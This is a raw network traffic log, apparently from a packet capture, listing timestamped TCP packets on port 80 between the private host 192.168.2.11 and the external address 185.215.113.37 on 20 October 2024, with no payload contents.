Oct 20, 2024 23:43:11.297489882 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.297501087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.297506094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.297523975 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.297545910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.299695969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299707890 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299721956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299745083 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.299767971 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.299791098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299803019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299814939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299827099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299839973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.299854994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.299892902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300033092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300043106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300054073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300066948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300076962 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300079107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300101042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300126076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300215960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300229073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300241947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300260067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300280094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300453901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300465107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300470114 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300477028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300489902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300502062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300518036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300544024 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300544977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300585985 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300676107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300688028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300698996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300713062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300717115 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300724983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300733089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300738096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300740004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300779104 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300811052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300822973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300851107 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300869942 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300873995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300888062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300899029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300910950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300911903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300925016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300934076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300944090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.300951958 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300971031 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.300977945 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301021099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301032066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301040888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301054001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301062107 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301073074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301083088 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301109076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301124096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301135063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301145077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301157951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301162958 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301170111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301182032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301186085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301198006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301211119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301222086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301222086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301223993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301237106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301249027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301250935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301260948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301280975 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301295042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301469088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301481962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301492929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301505089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301511049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301521063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301532984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301538944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301553965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301565886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301565886 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301572084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301578999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301584005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301584959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301590919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301597118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301609039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301614046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301625013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301636934 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301637888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301651001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301665068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301678896 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301723003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301757097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301768064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301779032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301791906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301798105 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301803112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301815033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301816940 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301827908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301839113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301841021 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301852942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301860094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301865101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301877022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301879883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301889896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301902056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301908016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301914930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301919937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301928997 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301940918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301943064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301955938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301968098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.301970959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.301994085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302001953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302155972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302169085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302181959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302191973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302195072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302207947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302231073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302380085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302398920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302409887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302422047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302429914 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302433968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302448988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302450895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302462101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302474022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302479029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302485943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302498102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302498102 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302511930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302514076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302536964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302540064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302550077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302561998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302562952 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302576065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302587032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302587986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302613020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302638054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302833080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302845001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302856922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302876949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302876949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302891016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302901030 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302903891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302917004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302927017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302928925 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302938938 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302939892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302953959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302966118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302968979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.302983046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302994013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.302994013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303008080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303019047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303020000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303034067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303035021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303050995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303062916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303066015 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303075075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303090096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303091049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303100109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303102016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303113937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303133965 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303150892 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303327084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303339958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303354025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303365946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303366899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303397894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303397894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303605080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303617001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303627014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303647041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303647995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303663969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303673983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303678989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303692102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303698063 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303704977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303719997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303725004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303736925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303749084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303749084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303762913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303764105 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303786039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303790092 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303800106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303812027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303813934 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303823948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303834915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303843021 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303847075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303860903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303874016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303874016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303884983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303890944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303910017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303921938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303921938 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303936005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303946018 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303949118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303960085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303960085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.303972960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.303991079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304002047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304636955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304655075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304668903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304680109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304681063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304693937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304706097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304706097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304718971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304730892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304733038 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304744005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304747105 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304757118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304768085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304775000 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304781914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304792881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304800034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304809093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304820061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304822922 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304831028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304841995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304843903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304857016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304867029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304869890 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304883957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304888964 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304898977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.304915905 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.304940939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.305272102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305289984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305301905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305314064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305314064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.305326939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305340052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305339098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.305355072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305366039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305366993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.305380106 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.305380106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.305407047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.305428982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.363013029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.368294001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.711925030 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.711966038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.711977959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712078094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712156057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712204933 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712294102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712315083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712332964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712338924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712347031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712354898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712359905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712372065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712378979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712383986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712393045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712395906 CEST	80	49708	185.215.113.37	192.168.2.11
